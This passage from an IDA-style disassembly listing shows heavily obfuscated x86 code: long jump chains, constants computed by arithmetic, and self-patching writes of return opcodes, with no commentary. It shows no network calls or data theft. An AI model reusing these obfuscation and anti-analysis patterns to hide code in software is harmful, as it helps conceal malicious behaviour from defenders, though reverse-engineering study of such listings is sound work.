8A474F93h add edx, ecx add edx, 0C65B6C6Bh mov [edx], eax pop edx jmp loc_4473B8 ; END OF FUNCTION CHUNK FOR sub_43F3AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F750 loc_448245: ; CODE XREF: sub_43F750:loc_43F75Aj imul byte ptr [edx] cmp al, 0A4h jz loc_44A7DE jmp loc_44B61E ; END OF FUNCTION CHUNK FOR sub_43F750 ; --------------------------------------------------------------------------- ja loc_43EC5D jmp loc_442854 ; =============== S U B R O U T I N E ======================================= sub_44825F proc near ; CODE XREF: sub_44A793+7p ; y22d6.y.:0044D2F5j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0043D421 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0043FB22 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044E3A3 SIZE 00000013 BYTES xchg edx, [esp+0] pop edx mov eax, [esp+0] push edx jmp loc_43D421 sub_44825F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_44826C proc near ; DATA XREF: sub_448EB6-F17o mov byte ptr [eax], 0C3h jmp nullsub_333 sub_44826C endp ; --------------------------------------------------------------------------- pop edx mov eax, [esp] push edx call sub_44A413 push 610246C8h pop eax rol eax, 0Dh jmp loc_440987 ; --------------------------------------------------------------------------- loc_44828C: ; DATA XREF: sub_44057E+81FEo pop ebx pushf push 0C4FDC62Fh pop eax or eax, 0F9C6F189h rol eax, 16h add eax, 89C9681Ch jmp loc_44B94F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439595 loc_4482A8: ; CODE XREF: sub_439595-221Bj adc ecx, ebx mov edx, ecx jmp loc_4420DE ; END OF FUNCTION CHUNK FOR sub_439595 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438BEC loc_4482B1: ; CODE XREF: sub_438BEC+AED8j mov eax, [ebp-8] mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_438BEC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BA9E loc_4482B8: ; CODE XREF: sub_43BA9E-3937j jmp loc_439AE7 ; END OF FUNCTION CHUNK FOR sub_43BA9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D025 loc_4482BD: ; CODE XREF: sub_43D025+Ej cmp dword ptr [ebp-10h], 1 jnz loc_438215 mov eax, [ebp+8] jmp loc_43C15A ; END OF FUNCTION CHUNK FOR sub_43D025 ; =============== S U B R O U T I N E ======================================= sub_4482CF proc near ; CODE XREF: sub_4499F4-C1C4p ; y22d6.y.:0044A299j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0043D750 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004415DC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00444909 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00444BB5 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0044A505 SIZE 0000000B BYTES xchg edx, [esp+0] pop edx or edx, edx jnz loc_44C706 jmp loc_43D750 sub_4482CF endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444427 loc_4482E0: ; CODE XREF: sub_444427-1F0Fj jns loc_441EAA mov ebp, 0B809156Fh and ecx, edi loc_4482ED: ; CODE XREF: sub_444427:loc_44396Bj or eax, 98AB5D1Bh xor eax, ds:4000E0h rol eax, 16h xor eax, 0F3D056DCh call sub_444581 jmp loc_43986E ; END OF FUNCTION CHUNK FOR sub_444427 ; --------------------------------------------------------------------------- loc_44830C: ; CODE XREF: y22d6.y.:loc_44888Dj add eax, 8260741Eh add eax, ebp add eax, 8AF5B9BBh mov eax, [eax] mov al, [eax] push offset loc_44C937 jmp locret_448012 ; --------------------------------------------------------------------------- mov ds:dword_41E120, eax lea eax, nullsub_333 mov byte ptr [eax], 0C3h jmp nullsub_333 ; --------------------------------------------------------------------------- push eax push offset sub_43F224 jmp loc_444DAA ; --------------------------------------------------------------------------- loc_448347: ; CODE XREF: y22d6.y.:0043B779j mov al, [eax] jnb loc_43C263 sub al, 99h mov edx, [ebp-4] jmp loc_4486C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438B66 loc_448359: ; CODE XREF: sub_438B66+BFF3j cmp dword ptr [ebp-20h], 0 jge loc_44A7F5 jmp loc_4422E6 ; END OF FUNCTION CHUNK FOR sub_438B66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_448368: ; CODE XREF: sub_44B17B-127B9j ; sub_4414C4+Fj push esi or esi, 0DA732FBBh jmp loc_438436 ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440280 loc_448374: ; CODE XREF: sub_440280+D2EFj or ebx, 5AFD454Ch xor ebx, 4647EBC8h add ebx, 668C0B7Ch mov [ebx], eax pop ebx jmp loc_43FAD5 ; END OF FUNCTION CHUNK FOR sub_440280 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44921D loc_44838E: ; CODE XREF: sub_44921D:loc_4465A0j jz loc_43724D ; END OF FUNCTION CHUNK FOR sub_44921D ; START OF FUNCTION CHUNK FOR sub_43B09B loc_448394: ; CODE XREF: sub_43B09B+B14Fj jmp loc_44DFC8 ; END OF FUNCTION CHUNK FOR sub_43B09B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E77C loc_448399: ; CODE XREF: sub_43E77C+Cj jmp nullsub_108 ; END OF FUNCTION CHUNK FOR sub_43E77C ; --------------------------------------------------------------------------- test edx, 0C7786FDAh jmp loc_43ADD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444183 loc_4483A9: ; CODE XREF: sub_444183:loc_445290j call sub_44D293 retn ; END OF FUNCTION CHUNK FOR sub_444183 ; --------------------------------------------------------------------------- db 0E7h dword_4483B0 dd 0 ; DATA XREF: y22d6.y.:00444C0Br ; y22d6.y.:004487F0w dword_4483B4 dd 5286A052h, 19E268A2h ; DATA XREF: y22d6.y.:0043D8FAo ; sub_43DCC0+6o db 6Ch, 8Dh, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4483BF proc near ; CODE XREF: sub_447C6F-10603j ; sub_439051+9DFp ... var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00440CB0 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00440FB9 SIZE 00000005 BYTES push ebp mov ebp, esp push edi jmp loc_440FB9 sub_4483BF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C7F1 loc_4483C8: ; CODE XREF: sub_44C7F1-FB2j jge loc_44B8AA xor edx, 0B50FF4C0h mov eax, [edi] jmp loc_44E590 ; END OF FUNCTION CHUNK FOR sub_44C7F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_4483DB: ; CODE XREF: sub_44B17B-CB3Ej cdq cmp ebx, ecx jmp loc_440A1D ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- sub ebx, 0CC9E0680h jmp sub_441DC7 ; --------------------------------------------------------------------------- loc_4483EE: ; DATA XREF: y22d6.y.:0044AE51o add ebx, 0F0378FBEh xchg ebx, [esp] ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_4483F7: ; CODE XREF: sub_448EB6:loc_44DAF0j jmp loc_43BF31 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438B66 loc_4483FC: ; CODE XREF: sub_438B66:loc_4422E6j jl loc_4454AF jmp loc_437790 ; END OF FUNCTION CHUNK FOR sub_438B66 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_299. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_448408: ; CODE XREF: y22d6.y.:0043C685j jmp loc_447E4C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442592 loc_44840D: ; CODE XREF: sub_442592:loc_43E892j mov esi, ebp loc_44840F: ; CODE XREF: y22d6.y.:0044AF89j xchg esi, [esp+4+var_4] mov ebp, esp push ecx mov esp, ebp pop ebp push offset sub_44D371 loc_44841D: ; CODE XREF: sub_4416F3+767Dj jmp loc_445766 ; END OF FUNCTION CHUNK FOR sub_442592 ; =============== S U B R O U T I N E ======================================= sub_448422 proc near ; DATA XREF: sub_43FFC2+9o xchg esi, [esp+0] push eax mov edx, eax jmp loc_44BEAC sub_448422 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F7FF loc_44842D: ; CODE XREF: sub_43F7FFj push offset loc_447576 jmp loc_4422A5 ; END OF FUNCTION CHUNK FOR sub_43F7FF ; --------------------------------------------------------------------------- mov ds:off_41E0A0, eax loc_44843D: ; CODE XREF: y22d6.y.:loc_43C460j lea eax, sub_44928B mov byte ptr [eax], 0C3h jmp loc_43AC57 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44928B loc_44844B: ; CODE XREF: sub_44928B:loc_4415C9j mov eax, [esp-8+arg_4] push edx push esi push offset sub_44AFA1 jmp nullsub_134 ; END OF FUNCTION CHUNK FOR sub_44928B ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44845A proc near ; CODE XREF: sub_43B566+2EFEj retn sub_44845A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44DF73 loc_44845B: ; CODE XREF: sub_44DF73-2B25j jmp loc_43B4BA ; END OF FUNCTION CHUNK FOR sub_44DF73 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449641 loc_448460: ; CODE XREF: sub_449641-FACDj jmp loc_443198 ; END OF FUNCTION CHUNK FOR sub_449641 ; =============== S U B R O U T I N E ======================================= sub_448465 proc near ; DATA XREF: sub_44E1BD-13044o ; FUNCTION CHUNK AT 004473AE SIZE 00000005 BYTES call sub_44E5C7 mov eax, 0B98DBDD7h call sub_43CA1A mov ds:off_41E094, eax lea eax, sub_44E1BD mov byte ptr [eax], 0C3h jmp loc_4473AE sub_448465 endp ; =============== S U B R O U T I N E ======================================= sub_448488 proc near ; CODE XREF: sub_419FEC+45p ; y22d6.y.:004437A2j ; DATA XREF: ... ; FUNCTION CHUNK AT 00438FB1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00441882 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0044463D SIZE 00000005 BYTES push edi jmp loc_44463D sub_448488 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B489 loc_44848E: ; CODE XREF: sub_44B489+8j mov [ebp-4], eax mov eax, [ebp-4] mov al, [eax] jnz loc_442BD8 sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] call sub_4481EF loc_4484A8: ; CODE XREF: sub_4385ED+15459j jmp loc_4480D5 ; END OF FUNCTION CHUNK FOR sub_44B489 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_4484AD: ; CODE XREF: sub_448EB6+1F5Aj jmp loc_44142D ; --------------------------------------------------------------------------- loc_4484B2: ; CODE XREF: sub_448EB6-2941j jmp loc_43CD59 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- loc_4484B7: ; CODE XREF: y22d6.y.:004430CCj jmp locret_44A738 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C55B loc_4484BC: ; CODE XREF: sub_43C55B+5D7Cj jmp loc_449F8C ; END OF FUNCTION CHUNK FOR sub_43C55B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_4484C1: ; CODE XREF: sub_4432B8-18F1j jmp loc_4455C2 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44123E loc_4484C6: ; CODE XREF: sub_44123E-7F99j jmp loc_4407F5 ; END OF FUNCTION CHUNK FOR sub_44123E ; --------------------------------------------------------------------------- loc_4484CB: ; CODE XREF: y22d6.y.:0043B818j add ecx, 7BFF1DEEh xchg ecx, [esp] jmp sub_43E913 ; --------------------------------------------------------------------------- loc_4484D9: ; CODE XREF: y22d6.y.:loc_44739Fj ; y22d6.y.:loc_44DBC7j js loc_442CC4 jg loc_441E66 jmp sub_448D3D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_4484EA: ; CODE XREF: sub_4432B8:loc_445295j jz loc_447EBA jmp loc_43A2C1 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- loc_4484F5: ; CODE XREF: y22d6.y.:0043B8F3j or eax, 1C202E0Dh sub eax, 0DE351AC1h xor eax, 0F45FF3ABh push ebx jmp loc_43D5A7 ; =============== S U B R O U T I N E ======================================= sub_44850D proc near ; CODE XREF: y22d6.y.:0044044Aj ; sub_4431CD+7982p xchg ebx, [esp+0] pop ebx xor eax, ebx pop ebx rol eax, 7 mov ds:dword_4464B4, eax sub_44850D endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_43B252 loc_44851D: ; CODE XREF: sub_43B252:loc_4391FDj ; sub_43B252+12CDj call sub_445A15 pop ebp jmp sub_441619 ; END OF FUNCTION CHUNK FOR sub_43B252 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C55B loc_448528: ; CODE XREF: sub_43C55B+101D6j shr ecx, 4 xor ecx, esi test ebp, 0AA59C070h jmp loc_43F8C9 ; --------------------------------------------------------------------------- loc_448538: ; CODE XREF: sub_43C55B+10C38j jg loc_439D23 jmp loc_4422E1 ; END OF FUNCTION CHUNK FOR sub_43C55B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_448543: ; CODE XREF: sub_448EB6:loc_449012j xor ebx, 0EA2270CEh add ebx, ebp add ebx, 0AA223247h mov [ebx], eax pop ebx jmp loc_4478EF ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BF91 loc_448559: ; CODE XREF: sub_44BF91-133EDj cdq and edx, esi not eax loc_44855E: ; CODE XREF: sub_44BF91:loc_438B93j and esi, 0A6A10FBEh rol esi, 0Eh jmp loc_43D652 ; END OF FUNCTION CHUNK FOR sub_44BF91 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43991F loc_44856C: ; CODE XREF: sub_43991F:loc_44A339j push offset loc_444EBE jmp nullsub_150 ; END OF FUNCTION CHUNK FOR sub_43991F ; --------------------------------------------------------------------------- mov eax, 4CF1C9EDh push ebx push 79D9EB2Ah pop ebx jmp loc_438EDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4380CD loc_448587: ; CODE XREF: sub_4380CD:loc_43DE95j mov ebp, esp add esp, 0FFFFFFF8h call sub_442C41 ; END OF FUNCTION CHUNK FOR sub_4380CD ; START OF FUNCTION CHUNK FOR sub_43B566 loc_448591: ; CODE XREF: sub_43B566+11j jmp loc_443C7B ; END OF FUNCTION CHUNK FOR sub_43B566 ; --------------------------------------------------------------------------- push ecx jmp loc_442F73 ; --------------------------------------------------------------------------- loc_44859C: ; CODE XREF: y22d6.y.:0043A00Fj or ecx, ecx jz loc_438FCA call sub_4485B6 jnz loc_438FCA mov eax, ebx jmp loc_438FCC ; =============== S U B R O U T I N E ======================================= sub_4485B6 proc near ; CODE XREF: sub_439932+C97p ; sub_43A041:loc_43C569p ... mov eax, [ebx+ecx] xor eax, [ebx+ecx+4] call sub_4404C7 loc_4485C2: ; CODE XREF: sub_43FFC2+Ej jmp nullsub_306 sub_4485B6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7D4 loc_4485C7: ; CODE XREF: y22d6.y.:0043D223j ; sub_43B7D4+A197j jmp loc_444902 ; END OF FUNCTION CHUNK FOR sub_43B7D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438F17 loc_4485CC: ; CODE XREF: sub_438F17+9ABFj or eax, 6B3395DFh add eax, 868CDAFh add eax, ebp push offset word_438FDE jmp loc_44AA92 ; END OF FUNCTION CHUNK FOR sub_438F17 ; --------------------------------------------------------------------------- add eax, 1B35D6B0h jmp sub_44A8FD ; --------------------------------------------------------------------------- loc_4485EF: ; CODE XREF: y22d6.y.:0044B307j jz loc_440F0A mov eax, [esp] push edx push ecx call sub_43BF98 ; START OF FUNCTION CHUNK FOR sub_4480DE loc_4485FF: ; CODE XREF: sub_4480DE+51F1j jmp loc_4382A9 ; END OF FUNCTION CHUNK FOR sub_4480DE ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_142. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_448605: ; CODE XREF: y22d6.y.:0043E7BAj jmp sub_44E242 ; --------------------------------------------------------------------------- cmp ebp, 0F0239202h jmp loc_43C7BB ; --------------------------------------------------------------------------- loc_448615: ; DATA XREF: sub_440CE6:loc_44B997o mov eax, [esp] push edx push edi push 0C57E73F9h pop edi jmp loc_43A770 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_448625: ; CODE XREF: sub_448EB6+25A3j or edi, eax loc_448627: ; CODE XREF: sub_448EB6:loc_43AF70j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_438F05 jmp loc_43B072 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4389FD loc_448638: ; CODE XREF: y22d6.y.:0044A1C3j ; sub_4389FD+14441j mov [ebp-14h], eax push 12976297h pop eax and eax, 0C69F395Fh loc_448647: ; CODE XREF: y22d6.y.:0043BC7Dj push offset loc_437FAC jmp loc_440E39 ; END OF FUNCTION CHUNK FOR sub_4389FD ; --------------------------------------------------------------------------- loc_448651: ; CODE XREF: y22d6.y.:0044B7ECj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44633F loc_448652: ; CODE XREF: sub_44633F-A3F4j jmp nullsub_301 ; END OF FUNCTION CHUNK FOR sub_44633F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C55B loc_448657: ; CODE XREF: sub_43C55B-1605j jmp loc_43DAA2 ; END OF FUNCTION CHUNK FOR sub_43C55B ; --------------------------------------------------------------------------- loc_44865C: ; DATA XREF: sub_43E0A9-380Ao mov eax, [esp] push edx call sub_44B674 mov eax, 0D59435E2h jmp loc_4459B4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_54. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B252 loc_448670: ; CODE XREF: sub_43B252+12D3j jz loc_4378A7 jmp loc_44CDEB ; END OF FUNCTION CHUNK FOR sub_43B252 ; --------------------------------------------------------------------------- loc_44867B: ; CODE XREF: y22d6.y.:0043C1C1j not edx ; =============== S U B R O U T I N E ======================================= sub_44867D proc near ; CODE XREF: sub_43E165+Dp xchg eax, [esp+0] pop eax sub_44867D endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_442856 loc_448681: ; CODE XREF: sub_442856:loc_43CC4Cj add ebx, 37A1A0CAh loc_448687: ; CODE XREF: y22d6.y.:loc_443E56j call sub_4372BC ; END OF FUNCTION CHUNK FOR sub_442856 ; START OF FUNCTION CHUNK FOR sub_43B878 loc_44868C: ; CODE XREF: sub_43B878+2EE2j jmp loc_439511 ; END OF FUNCTION CHUNK FOR sub_43B878 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FD7A loc_448691: ; CODE XREF: sub_43FD7A+Aj xchg ebx, [esp+4+var_4] mov edi, ebx pop ebx xor edi, 8D8815D9h jmp loc_438DF7 ; END OF FUNCTION CHUNK FOR sub_43FD7A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449ECF loc_4486A2: ; CODE XREF: sub_449ECF+3j push ecx push edx push 6DFC6DC8h pop edx and edx, 44006B87h xor edx, 9BEEF734h add edx, 5982588Fh jmp loc_44499A ; END OF FUNCTION CHUNK FOR sub_449ECF ; --------------------------------------------------------------------------- loc_4486C1: ; CODE XREF: y22d6.y.:00448354j call sub_441F08 ; START OF FUNCTION CHUNK FOR sub_44AEA5 loc_4486C6: ; CODE XREF: sub_44AEA5+Dj jmp loc_44CF48 ; END OF FUNCTION CHUNK FOR sub_44AEA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4404E5 loc_4486CB: ; CODE XREF: sub_4404E5+Cj jmp loc_4384C3 ; END OF FUNCTION CHUNK FOR sub_4404E5 ; --------------------------------------------------------------------------- loc_4486D0: ; CODE XREF: y22d6.y.:004459A9j js loc_444015 popf loc_4486D7: ; CODE XREF: y22d6.y.:0044598Dj add edi, 0A16BF9B1h mov [edi], eax push offset sub_4478BD jmp locret_443EDC ; --------------------------------------------------------------------------- loc_4486E9: ; CODE XREF: y22d6.y.:0043AB77j jns loc_4447AF jb loc_43881F jmp loc_44DA18 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44256D loc_4486FA: ; CODE XREF: sub_44256D:loc_43F1B7j add ebx, eax push 1AF7009Ch pop eax rol eax, 8 jmp loc_44E1E2 ; END OF FUNCTION CHUNK FOR sub_44256D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437B43 loc_44870A: ; CODE XREF: sub_437B43:loc_44E025j jnz loc_43CAF8 jmp loc_44B5E5 ; END OF FUNCTION CHUNK FOR sub_437B43 ; --------------------------------------------------------------------------- or edx, ecx jmp sub_444D45 ; --------------------------------------------------------------------------- loc_44871C: ; DATA XREF: y22d6.y.:004451FFo mov edx, [ebp-18h] ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_44871F: ; CODE XREF: sub_44AEDA-6DF7j mov [edx], eax ; END OF FUNCTION CHUNK FOR sub_44AEDA ; START OF FUNCTION CHUNK FOR sub_44057E loc_448721: ; CODE XREF: sub_44057E+57ABj ; y22d6.y.:00449B68j ... add dword ptr [ebp-18h], 4 inc dword ptr [ebp-20h] dec dword ptr [ebp-2Ch] jnz loc_445D1A jmp loc_442643 ; END OF FUNCTION CHUNK FOR sub_44057E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_322. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- test [edi-780000DFh], ebx xor al, 24h mov edx, esi xchg ebp, [esp] mov esi, ebp pop ebp mov eax, [esp] jmp loc_43DA4D ; --------------------------------------------------------------------------- loc_44874F: ; CODE XREF: y22d6.y.:00437089j ; y22d6.y.:0043AA50j xor ecx, 3F5D3B2Ch add ecx, ebp add ecx, 9F703925h mov ecx, [ecx] add eax, ecx pop ecx jmp loc_44E35E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44057E loc_448767: ; CODE XREF: sub_44057E:loc_445D1Aj call sub_4499C9 loc_44876C: ; DATA XREF: sub_44AEDA-12309o add ebx, 4F2F6821h add ebx, ebp add ebx, 9FCF06C9h mov [ebx], eax push offset loc_44828C jmp loc_43EB7C ; END OF FUNCTION CHUNK FOR sub_44057E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_104. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_448787: ; CODE XREF: y22d6.y.:00439455j push eax mov eax, ebp xchg eax, [esp] push offset loc_43C0DE jmp loc_44C4C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FFBB loc_448797: ; CODE XREF: sub_43FFBB:loc_43BC11j call sub_4470B1 push offset sub_438FC6 jmp loc_440BF7 ; END OF FUNCTION CHUNK FOR sub_43FFBB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44DA98 loc_4487A6: ; CODE XREF: sub_44DA98+9j xchg ebx, [esp+0] push 0FFFFFFF1h call sub_44066C push ebp mov ebp, eax xchg ebp, [esp+8+var_8] call sub_43A411 jmp loc_43C03A ; END OF FUNCTION CHUNK FOR sub_44DA98 ; --------------------------------------------------------------------------- cdq jno loc_43B125 xchg eax, ebx not edi jmp loc_43F054 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44633F loc_4487D0: ; CODE XREF: sub_44633F:loc_43B21Aj push 0F36BEC54h pop eax rol eax, 1Fh jnb loc_44DD8B ; END OF FUNCTION CHUNK FOR sub_44633F ; START OF FUNCTION CHUNK FOR sub_43CEE2 loc_4487DF: ; CODE XREF: sub_43CEE2+1082Ej jmp loc_4448EB ; END OF FUNCTION CHUNK FOR sub_43CEE2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_445791 loc_4487E4: ; CODE XREF: sub_445791+12j jmp loc_44B0DB ; END OF FUNCTION CHUNK FOR sub_445791 ; --------------------------------------------------------------------------- xchg ecx, [esp] mov edx, ecx pop ecx pop eax mov ds:dword_4483B0, edx loc_4487F6: ; CODE XREF: y22d6.y.:00444C13j xchg eax, edx jmp loc_445290 ; --------------------------------------------------------------------------- loc_4487FC: ; CODE XREF: y22d6.y.:0043F993j or edi, 0C11AA5BBh ; =============== S U B R O U T I N E ======================================= sub_448802 proc near ; CODE XREF: y22d6.y.:0043E12Ep arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0043B4AA SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx mov eax, [esp-4+arg_0] call sub_4480DE jmp loc_43B4AA sub_448802 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_448813: ; CODE XREF: y22d6.y.:loc_43E2BDj pop edx xor edx, 2EB5A212h and edx, ds:4000E8h jnz loc_43E872 ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_448826: ; CODE XREF: sub_448EB6-CF42j jmp loc_44B78B ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_44882B: ; CODE XREF: sub_44B17B:loc_4470F6j or edx, 2D78B0EAh add edx, 0A99383CBh add edx, ebp add edx, 66F0C346h jmp loc_43C4B6 ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_448844: ; CODE XREF: sub_44BCC2-2FEBj jz loc_4388C9 loc_44884A: ; CODE XREF: sub_444B7C+Dj jmp loc_440AA4 ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441DC7 loc_44884F: ; CODE XREF: sub_441DC7-6349j jmp nullsub_114 ; END OF FUNCTION CHUNK FOR sub_441DC7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_448854: ; CODE XREF: sub_448EB6:loc_4379C1j jmp loc_443473 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- test ecx, edi jmp loc_4388C1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_157. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B09B loc_448861: ; CODE XREF: sub_43B09B+384Aj jmp loc_43E8A1 ; END OF FUNCTION CHUNK FOR sub_43B09B ; --------------------------------------------------------------------------- loc_448866: ; CODE XREF: y22d6.y.:loc_43702Aj ; y22d6.y.:0043D538j push eax lea eax, loc_444574 push edi push eax pop edi xchg edi, [esp] call sub_449307 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_448878: ; CODE XREF: y22d6.y.:0043EA12j ; sub_4432B8:loc_442326j jmp loc_43818C ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449641 loc_44887D: ; CODE XREF: sub_449641-12424j jmp loc_44B4B6 ; END OF FUNCTION CHUNK FOR sub_449641 ; --------------------------------------------------------------------------- loc_448882: ; CODE XREF: y22d6.y.:0044481Dj jge loc_4402D4 ; START OF FUNCTION CHUNK FOR sub_440280 loc_448888: ; CODE XREF: sub_440280+A619j jmp loc_44B235 ; END OF FUNCTION CHUNK FOR sub_440280 ; --------------------------------------------------------------------------- loc_44888D: ; CODE XREF: y22d6.y.:0043EE78j jmp loc_44830C ; --------------------------------------------------------------------------- or ebp, edx jnz sub_44AC0F not ecx jo loc_446FA4 jmp loc_4402D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438B66 loc_4488A7: ; CODE XREF: sub_438B66+BD80j cmp eax, 6A9BD923h jmp loc_442A31 ; END OF FUNCTION CHUNK FOR sub_438B66 ; --------------------------------------------------------------------------- push esi add ecx, ebp jmp sub_44BADD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65F loc_4488BA: ; CODE XREF: sub_43C65F:loc_449EC5j push eax shr edx, 5 jmp loc_43EAFC ; END OF FUNCTION CHUNK FOR sub_43C65F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_4488C3: ; CODE XREF: y22d6.y.:0043770Dj ; sub_44123E+7984j ... call sub_43F750 loc_4488C8: ; CODE XREF: sub_43C6D7+5E71j jmp loc_438DC6 ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439051 loc_4488CD: ; CODE XREF: sub_439051+46A5j jmp loc_443669 ; END OF FUNCTION CHUNK FOR sub_439051 ; 